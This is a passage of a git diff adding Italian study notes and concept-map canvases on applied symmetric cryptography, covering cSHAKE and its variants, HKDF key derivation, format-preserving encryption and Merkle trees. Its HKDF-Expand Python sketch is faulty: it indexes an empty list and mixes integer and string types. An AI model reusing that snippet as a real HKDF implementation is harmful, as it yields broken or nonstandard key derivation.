+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a flusso.md","id":"583c0b322ccb22b0","x":1960,"y":1055,"width":400,"height":50},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico.md","id":"9c92ab450c5a6ef1","x":360,"y":2280,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework deterministico.md","id":"0d2a5893eb99697d","x":360,"y":880,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework.md","id":"1f92a75b965ce075","x":-200,"y":1440,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/deterministic authenticated encryption with associated data.md","id":"93d5eb392ec4cded","x":920,"y":1440,"width":880,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/operation framework probabilistico per la crittografia simmetrica.md","id":"017228ade7d96c15","x":920,"y":2560,"width":880,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/2 - Operation framework/authenticated encryption with associated data.md","id":"0999976e3fc8f9ff","x":920,"y":2000,"width":880,"height":400}
+	],
+	"edges":[
+		{"id":"c08ed4d00ecb243e","fromNode":"1f92a75b965ce075","fromSide":"right","toNode":"0d2a5893eb99697d","toSide":"left"},
+		{"id":"2191c33d85a26c42","fromNode":"0d2a5893eb99697d","fromSide":"right","toNode":"7760739a84a371db","toSide":"left","toEnd":"none"},
+		{"id":"3d1584309711c4e9","fromNode":"0d2a5893eb99697d","fromSide":"right","toNode":"c0ae505db204e894","toSide":"left","toEnd":"none"},
+		{"id":"a3ba9de9a3553c5e","fromNode":"7760739a84a371db","fromSide":"right","toNode":"5fe4a2d4ceebb70a","toSide":"left","toEnd":"none"},
+		{"id":"8110ff7c204e0b8f","fromNode":"c0ae505db204e894","fromSide":"right","toNode":"583c0b322ccb22b0","toSide":"left","toEnd":"none"},
+		{"id":"d99c6e836e7d6058","fromNode":"9c92ab450c5a6ef1","fromSide":"right","toNode":"017228ade7d96c15","toSide":"left","toEnd":"none"},
+		{"id":"a061c401f726a334","fromNode":"1f92a75b965ce075","fromSide":"right","toNode":"9c92ab450c5a6ef1","toSide":"left"},
+		{"id":"5cc61548a633e645","fromNode":"9c92ab450c5a6ef1","fromSide":"right","toNode":"0999976e3fc8f9ff","toSide":"left","toEnd":"none"},
+		{"id":"49273d9428c132a9","fromNode":"0d2a5893eb99697d","fromSide":"right","toNode":"93d5eb392ec4cded","toSide":"left","toEnd":"none"},
+		{"id":"4d9581259d681bd9","fromNode":"0999976e3fc8f9ff","fromSide":"top","toNode":"93d5eb392ec4cded","toSide":"bottom"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/Keccak message authentication code.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/Keccak message authentication code.md
new file mode 100644
index 0000000..52ff9de
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/Keccak message authentication code.md	
@@ -0,0 +1,11 @@
+---
+aliases: ["KMAC"]
+---
+
+[[extendible output function|extendible output]] [[message authentication code system]] basato su [[cSHAKE]].
+
+Usa `KMAC` come parametro di contestualizzazione di funzione.
+
+## #Extra Vedi anche
+
+- [NIST Special Publication 800-185](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-185.pdf)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/ParallelHash.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/ParallelHash.md
new file mode 100644
index 0000000..d4d586f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/ParallelHash.md	
@@ -0,0 +1,9 @@
+[[extendible output function]], variante di [[cSHAKE]].
+
+Permette di effettuare hashing parallelamente.
+
+Usa `ParallelHash` come parametro di contestualizzazione di funzione.
+
+## #Extra Vedi anche
+
+- [NIST Special Publication 800-185](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-185.pdf)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/TupleHash.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/TupleHash.md
new file mode 100644
index 0000000..4cb00d8
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/TupleHash.md	
@@ -0,0 +1,9 @@
+[[extendible output function]], variante di [[cSHAKE]].
+
+Permette di effettuare [[hashing con più input|hashing con una lista di input]].
+
+Usa `TupleHash` come parametro di contestualizzazione di funzione.
+
+## #Extra Vedi anche
+
+- [NIST Special Publication 800-185](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-185.pdf)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/cSHAKE.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/cSHAKE.md
new file mode 100644
index 0000000..c13d375
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/cSHAKE.md	
@@ -0,0 +1,11 @@
+[[extendible output function]] [[funzione contestualizzata|contestualizzata]], variante di [[SHA3]].
+
+Ha quattro parametri:
+1. [[plaintext]]
+2. [[lunghezza dell'output]]
+3. [[funzione contestualizzata|contestualizzazione]] dell'analista
+4. [[funzione contestualizzata|contestualizzazione]] dello sviluppatore
+
+## #Extra Vedi anche
+
+- [NIST Special Publication 800-185](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-185.pdf)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/extendible output function.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/extendible output function.md
new file mode 100644
index 0000000..7e069dd
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/extendible output function.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["XOF"]
+---
+
+[[funzione]] la cui [[lunghezza]] del [[risultato]] è personalizzabile.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/funzione contestualizzata.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/funzione contestualizzata.md
new file mode 100644
index 0000000..2ff7012
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/funzione contestualizzata.md	
@@ -0,0 +1,3 @@
+[[funzione]] il cui output può essere differenziato con uno o più [[parametro|parametri]].
+
+Questi parametri possono essere impostati dall'analista che realizza un nuovo [[funzione|protocollo]], oppure dallo sviluppatore che li utilizza in una sua [[applicazione]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/★ mappa concettuale.canvas
new file mode 100644
index 0000000..4c83c94
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/★ mappa concettuale.canvas	
@@ -0,0 +1,18 @@
+{
+	"nodes":[
+		{"id":"aa275b3f9ddb0d70","x":-500,"y":260,"width":1560,"height":1000,"color":"6","type":"group","label":"cSHAKE e derivati"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/extendible output function.md","id":"a95b2233e4fd245f","x":-200,"y":-240,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/funzione contestualizzata.md","id":"8d7a4c6f4a70376d","x":360,"y":-240,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/Keccak message authentication code.md","id":"eb9a17dae1d34473","x":-480,"y":840,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/TupleHash.md","id":"4c34b257497b6ce1","x":80,"y":840,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/ParallelHash.md","id":"8481d325271f68ff","x":640,"y":840,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/3 - Contestualizzazione ed estendibilità/cSHAKE.md","id":"30bc33b840240d11","x":-480,"y":280,"width":1520,"height":400}
+	],
+	"edges":[
+		{"id":"a99f52ff548dfd2c","fromNode":"8d7a4c6f4a70376d","fromSide":"bottom","toNode":"30bc33b840240d11","toSide":"top","toEnd":"none"},
+		{"id":"1cf594fc20c0ca46","fromNode":"a95b2233e4fd245f","fromSide":"bottom","toNode":"30bc33b840240d11","toSide":"top","toEnd":"none"},
+		{"id":"e1677fd4e3ef7ff4","fromNode":"30bc33b840240d11","fromSide":"bottom","toNode":"eb9a17dae1d34473","toSide":"top","toEnd":"none"},
+		{"id":"3e61281960072e9a","fromNode":"30bc33b840240d11","fromSide":"bottom","toNode":"4c34b257497b6ce1","toSide":"top","toEnd":"none"},
+		{"id":"688f446f09e24dbd","fromNode":"30bc33b840240d11","fromSide":"bottom","toNode":"8481d325271f68ff","toSide":"top","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Expand.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Expand.md
new file mode 100644
index 0000000..e0af34f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Expand.md	
@@ -0,0 +1,16 @@
+[[funzione]] di [[expansion di una key derivation function]], utilizzata in [[HKDF]].
+
+## Funzionamento
+
+Effettua ripetuti [[HMAC]] con la [[pseudo-random key]], incrementando ogni volta un contatore concatenato al parametro di [[contestualizzazione di una key derivation function|contestualizzazione]] concatenato al [[risultato]] precedente, fino a raggiungere la dimensione dell'output desiderata.
+
+```python
+def hkdf_expand(prk: bytes, info: str, blocks: int):
+	results = []
+	for block_n in range(blocks):
+		key_part = hmac(key=prk, data=block_n + info + results[-1])
+		results.append(key_part)
+	return b"".join(results)
+```
+
+Il numero di blocchi è limitato a un singolo byte.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Extract.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Extract.md
new file mode 100644
index 0000000..9105939
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Extract.md	
@@ -0,0 +1,11 @@
+[[funzione]] di [[extraction di una key derivation function]], utilizzata in [[HKDF]].
+
+## Funzionamento
+
+Effettua l'[[HMAC]] dell'[[input key material]] utilizzando il *salt* come chiave.
+
+```python
+def hkdf_extract(ikm: str, salt: str):
+	prk = hmac(key=salt, data=ikm)
+	return prk
+```
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF.md
new file mode 100644
index 0000000..234e5c9
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF.md	
@@ -0,0 +1,5 @@
+[[key derivation function]] basata su [[HMAC]].
+
+## #Extra Vedi anche
+
+- [RFC 5869: **HMAC-based Extract-and-Expand Key Derivation Function (HKDF)**](https://www.rfc-editor.org/rfc/rfc5869.html)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/aggiunta di entropia in una key derivation function.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/aggiunta di entropia in una key derivation function.md
new file mode 100644
index 0000000..d4025f1
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/aggiunta di entropia in una key derivation function.md	
@@ -0,0 +1 @@
+Una [[key derivation function]] può opzionalmente introdurre [[entropia]] nella [[chiave derivata]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/chiave derivata.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/chiave derivata.md
new file mode 100644
index 0000000..80f3e95
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/chiave derivata.md	
@@ -0,0 +1 @@
+[[chiave simmetrica]] ottenuta come risultato di una [[key derivation function]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/contestualizzazione di una key derivation function.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/contestualizzazione di una key derivation function.md
new file mode 100644
index 0000000..3a8c4e5
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/contestualizzazione di una key derivation function.md	
@@ -0,0 +1 @@
+Una [[key derivation function]] può opzionalmente diventare una [[funzione contestualizzata]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/expansion di una key derivation function.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/expansion di una key derivation function.md
new file mode 100644
index 0000000..f873d59
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/expansion di una key derivation function.md	
@@ -0,0 +1,7 @@
+[[funzione ideale]].
+
+Ha come parametro:
+- una [[chiave derivata]] [[uniforme]]
+
+Dà come risultato:
+- una [[chiave derivata]] della [[lunghezza]] desiderata
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/extraction di una key derivation function.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/extraction di una key derivation function.md
new file mode 100644
index 0000000..2167f5d
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/extraction di una key derivation function.md	
@@ -0,0 +1,7 @@
+[[funzione ideale]].
+
+Ha come [[parametro]]:
+- un dato [[confidenzialità|confidenziale]] non-[[uniforme]]
+
+Dà come [[risultato]]:
+- una [[chiave derivata]] [[uniforme]]`
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/input key material.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/input key material.md
new file mode 100644
index 0000000..1e95135
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/input key material.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["ikm"]
+---
+
+[[testo]] fornito in [[parametro|input]] a una [[key derivation function]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation function.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation function.md
new file mode 100644
index 0000000..7fc3bcb
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation function.md	
@@ -0,0 +1,15 @@
+---
+aliases: ["KDF"]
+---
+
+[[funzione ideale]] per il problema di [[key derivation]].
+
+## Differenze
+
+### Con [[famiglia di funzioni pseudo-casuali|PRF]]
+
+Le *key derivation function* sono progettate per emettere quantità di dati molto minori.
+
+### Con [[dev-urandom]]
+
+Le *key derivation function* possono supportare funzionalità aggiuntive, come [[expansion di una key derivation function|expansion]] e [[contestualizzazione di una key derivation function|contestualizzazione]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation.md
new file mode 100644
index 0000000..63a0e27
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation.md	
@@ -0,0 +1 @@
+[[problema]] in cui, dato un [[testo]] [[non-uniforme]], si vuole generare una [[chiave derivata]] [[uniforme]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/pseudo-random key.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/pseudo-random key.md
new file mode 100644
index 0000000..91a7c39
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/pseudo-random key.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["prk"]
+---
+
+[[blob]] dato in [[risultato|output]] dalla fase di [[extraction di una key derivation function]], dato in [[parametro|input]] alla fase di [[expansion di una key derivation function|expansion]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/★ mappa concettuale.canvas
new file mode 100644
index 0000000..8a98020
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/★ mappa concettuale.canvas	
@@ -0,0 +1,39 @@
+{
+	"nodes":[
+		{"type":"group","id":"ab3641b58a16342c","x":-1020,"y":-1300,"width":2680,"height":1000,"color":"6","label":"Processo di key derivation"},
+		{"type":"group","id":"45743028691901af","x":-740,"y":-180,"width":2120,"height":1000,"color":"6","label":"HKDF"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/input key material.md","id":"d356511633ba6237","x":-1000,"y":-720,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Extract.md","id":"15ef71c13587a660","x":-720,"y":-160,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/aggiunta di entropia in una key derivation function.md","id":"b42b5e32508f7fe1","x":-720,"y":-1280,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/contestualizzazione di una key derivation function.md","id":"7d36e75443d7beea","x":960,"y":-1280,"width":400,"height":400},
+		{"type":"text","text":"","id":"cd96734ac238ef3b","x":-840,"y":-1680,"width":80,"height":80},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation.md","id":"825ac99555a32457","x":120,"y":-2400,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"text","text":"","id":"d95785fa0350f1a9","x":1400,"y":-1680,"width":80,"height":80},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/key derivation function.md","id":"4dfb0778cd20e8ca","x":-160,"y":-1840,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF-Expand.md","id":"1709dc4fb3fe8dd1","x":400,"y":-160,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/expansion di una key derivation function.md","id":"371d4a98b6c4eef2","x":680,"y":-720,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/pseudo-random key.md","id":"76fdd0b3651a0982","x":120,"y":-720,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/extraction di una key derivation function.md","id":"e898362bc18cf0cd","x":-440,"y":-720,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/HKDF.md","id":"ec63e5d0f2db3af0","x":120,"y":400,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/4 - Derivazione di chiave/chiave derivata.md","id":"a7aa887167c8ec5f","x":1240,"y":-720,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"75f2ef5ee06402dc","fromNode":"15ef71c13587a660","fromSide":"bottom","toNode":"ec63e5d0f2db3af0","toSide":"top","toEnd":"none"},
+		{"id":"3be71cb2317132cd","fromNode":"1709dc4fb3fe8dd1","fromSide":"bottom","toNode":"ec63e5d0f2db3af0","toSide":"top","toEnd":"none"},
+		{"id":"0cc29715ea9522cc","fromNode":"e898362bc18cf0cd","fromSide":"bottom","toNode":"15ef71c13587a660","toSide":"top","toEnd":"none"},
+		{"id":"433b7152e1fc1403","fromNode":"371d4a98b6c4eef2","fromSide":"bottom","toNode":"1709dc4fb3fe8dd1","toSide":"top","toEnd":"none"},
+		{"id":"3d1a92e98166f518","fromNode":"d356511633ba6237","fromSide":"right","toNode":"e898362bc18cf0cd","toSide":"left"},
+		{"id":"c88729cff3cd2d57","fromNode":"e898362bc18cf0cd","fromSide":"right","toNode":"76fdd0b3651a0982","toSide":"left"},
+		{"id":"0ade680a1909984a","fromNode":"76fdd0b3651a0982","fromSide":"right","toNode":"371d4a98b6c4eef2","toSide":"left"},
+		{"id":"604ca590163cb03b","fromNode":"371d4a98b6c4eef2","fromSide":"right","toNode":"a7aa887167c8ec5f","toSide":"left"},
+		{"id":"5ea08a0b29a57ebf","fromNode":"371d4a98b6c4eef2","fromSide":"top","toNode":"7d36e75443d7beea","toSide":"bottom","toEnd":"none"},
+		{"id":"2a832225021e927e","fromNode":"e898362bc18cf0cd","fromSide":"top","toNode":"b42b5e32508f7fe1","toSide":"bottom","toEnd":"none"},
+		{"id":"bae571ee056b32ed","fromNode":"4dfb0778cd20e8ca","fromSide":"bottom","toNode":"e898362bc18cf0cd","toSide":"top","toEnd":"none"},
+		{"id":"70769641332a4a91","fromNode":"4dfb0778cd20e8ca","fromSide":"bottom","toNode":"371d4a98b6c4eef2","toSide":"top","toEnd":"none"},
+		{"id":"8c2e593e5047e7fa","fromNode":"4dfb0778cd20e8ca","fromSide":"left","toNode":"cd96734ac238ef3b","toSide":"right","toEnd":"none"},
+		{"id":"48529596f1f4222c","fromNode":"4dfb0778cd20e8ca","fromSide":"right","toNode":"d95785fa0350f1a9","toSide":"left","toEnd":"none"},
+		{"id":"0f027ae16348e3a1","fromNode":"cd96734ac238ef3b","fromSide":"bottom","toNode":"d356511633ba6237","toSide":"top","toEnd":"none"},
+		{"id":"ed2495bc405710af","fromNode":"d95785fa0350f1a9","fromSide":"bottom","toNode":"a7aa887167c8ec5f","toSide":"top","toEnd":"none"},
+		{"id":"cfab6bd1a0a019fc","fromNode":"4dfb0778cd20e8ca","fromSide":"top","toNode":"825ac99555a32457","toSide":"bottom","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/format-preserving encryption.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/format-preserving encryption.md
new file mode 100644
index 0000000..aa9e8ef
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/format-preserving encryption.md	
@@ -0,0 +1,11 @@
+---
+aliases: ["FPE"]
+---
+
+# #Extra
+
+[[problema]] di [[crittografia simmetrica moderna]] che vuole che il [[ciphertext]] abbia un formato compatibile con quello del [[plaintext]].
+
+## Casi d'uso
+
+- **Carte di credito**: si vuole generare un codice privato per una carta di credito, ma per compatibilità deve avere lo stesso formato del numero vero e proprio, `XXXX XXXX XXXX XXXX`.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/merkle hash tree.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/merkle hash tree.md
new file mode 100644
index 0000000..925dfc3
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/merkle hash tree.md	
@@ -0,0 +1,13 @@
+---
+aliases: ["MHT"]
+---
+
+# #Extra
+
+Struttura dati ad [[albero]] che include in ciascun nodo l'[[hash]] di tutto il ramo sottostante.
+
+## Utilizzi
+
+- Nei torrent.
+- L'albero di commit di git.
+- Nei mirror.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/partial disclosure.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/partial disclosure.md
new file mode 100644
index 0000000..c606258
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/partial disclosure.md	
@@ -0,0 +1,7 @@
+# #Extra
+
+[[problema]] di [[crittografia simmetrica moderna]] che vuole consentire che parte dei dati contenuti all'interno del [[ciphertext]] possano essere recuperati senza chiave.
+
+## Casi d'uso
+
+- **Carte di credito**: si vuole generare un codice univoco che mantenga però le ultime quattro cifre della carta (`XXXX XXXX XXXX 4242`), in modo da permettere al proprietario di identificarla.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/struttura dati autenticata.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/struttura dati autenticata.md
new file mode 100644
index 0000000..31fe0ca
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/struttura dati autenticata.md	
@@ -0,0 +1 @@
+Struttura dati che include informazioni per [[verifica dell'integrità]] e per [[autenticazione]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/★ mappa concettuale.canvas
new file mode 100644
index 0000000..8aa4841
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/5 - Strutture dati particolari/★ mappa concettuale.canvas	
@@ -0,0 +1,14 @@
+{
+	"nodes":[
